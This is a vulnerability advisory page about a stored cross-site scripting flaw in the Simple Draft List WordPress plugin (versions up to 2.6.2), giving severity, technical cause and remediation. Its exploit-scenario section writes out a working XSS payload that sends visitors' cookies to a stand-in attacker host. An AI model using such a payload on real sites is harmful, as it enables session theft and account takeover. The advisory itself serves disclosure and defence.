EUVD-2026-13069Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 3.1 score of 6.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates moderate real-world risk with network attack vector, low complexity, and low privilege requirements balanced against no user interaction needed and cross-site scope impact. The vulnerability requires authenticated access at Contributor level or above, which narrows the attacker pool to users with editorial privileges on the WordPress site; however, this privilege level is common in multi-author WordPress installations and can be granted to freelance writers, guest contributors, or compromised accounts. The stored nature of the XSS amplifies impact compared to reflected XSS, as the payload persists and affects all site visitors viewing affected draft posts. No EPSS score or KEV status was provided in the intelligence sources, and no public proof-of-concept has been confirmed, suggesting this may be a recently disclosed or lower-visibility vulnerability. The lack of active exploitation signals and automation potential moderates urgency, but the straightforward nature of the exploitation (simple meta field manipulation) and widespread WordPress plugin adoption warrant timely patching. |
| Exploit ScenarioDerived | A malicious contributor or compromised Contributor-level account creates a draft post and injects a JavaScript payload such as <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> into the 'display_name' custom field meta value. When a site administrator or visitor views any page containing the [drafts] shortcode with the {{author+link}} template tag, the unescaped payload executes in their browser context, exfiltrating session cookies or performing actions on behalf of the victim user. The stored nature means the payload persists and affects all subsequent visitors until manually removed from the post meta table, making it a high-impact privilege escalation vector for Contributor-level attackers. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 19, 2026
The Simple Draft List WordPress plugin for Dartiss contains a Stored Cross-Site Scripting vulnerability in versions up to 2.6.2, caused by insufficient input sanitization and output escaping of the 'display_name' post meta field. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript via the {{author+link}} template tag when no author URL is present, which will execute whenever users visit pages containing the [drafts] shortcode. The vulnerability has a CVSS score of 6.4 with a network attack vector and low attack complexity, requiring only low-level privileges.
RemediationAI
Upgrade the Simple Draft List plugin to version 2.6.3 or later, which addresses the output escaping issue by applying esc_html() or esc_attr() to the $author_link variable before insertion into shortcode output. Refer to the WordPress plugin repository and Wordfence threat intelligence (https://www.wordfence.com/threat-intel/vulnerabilities/id/b5f0dc1a-6b6a-4370-a368-3687cffb43fc) for patch availability and changelog details. As an interim mitigation pending patch deployment, restrict the [drafts] shortcode to trusted administrators only, disable the {{author+link}} template tag in favor of {{author}} (which uses proper escaping), audit post meta fields on draft posts for suspicious content, and consider limiting Contributor-level user creation to vetted individuals. Monitor WordPress admin audit logs for post meta modifications by lower-privilege accounts, and implement Web Application Firewall rules to detect and block script injection patterns in post meta submission.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the Simple Draft List plugin (CPE: cpe:2.3:a:dartiss:draft_list:*:*:*:*:*:*:*:*) and stems from CWE-79 (Improper Neutralization of Input During Web Page Generation). The plugin resolves the non-native WP_Post property 'display_name' through WordPress's magic __get() method, which triggers get_post_meta() to retrieve custom field data stored in the WordPress post meta table. The vulnerability occurs at line 383 of create-lists.php, where the author display name is assigned directly to $author_link without escaping via esc_html() or esc_attr(), unlike the same variable at line 378 when a URL is present or line 381 when constructing the URL-based author link. The unescaped value is then inserted into shortcode output via str_replace(), allowing stored XSS payloads to persist in the post meta and execute in the context of all page views.
Know when Draft List gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Simple Draft List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'display_name' post meta (Custom Field) in all versions up to and including 2.6.2. This is due to insufficient input sanitization and output escaping on the author display name when no author URL is present. The plugin accesses $draft_data->display_name which, because display_name is not a native WP_Post property, triggers WP_Post::__get() and resolves to get_post_meta($post_id, 'display_name', true). When the user_url meta field is empty, the $author value is assigned to $author_link on line 383 without any escaping (unlike line 378 which uses esc_html() for the {{author}} tag, and line 381 which uses esc_html() when a URL is present). This unescaped value is then inserted into the shortcode output via str_replace(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page containing the [drafts] shortcode with the {{author+link}} template tag.
Executive ViewAI
Organizations using all should be aware of moderate risk from CVE-2026-4006, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
NVD
CVE.org
EPSS
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in WordPress Plugins - Stored XSS Vulnerabilities
View all 3More in Draft List
View allStored XSS in the Draft List WordPress plugin (versions ≤2.6.3) allows a Contributor-level authenticated user to inject
Stored Cross-Site Scripting in the Draft List WordPress plugin (versions up to and including 2.6.3) allows authenticated
GitHub PoC
Exploit-DB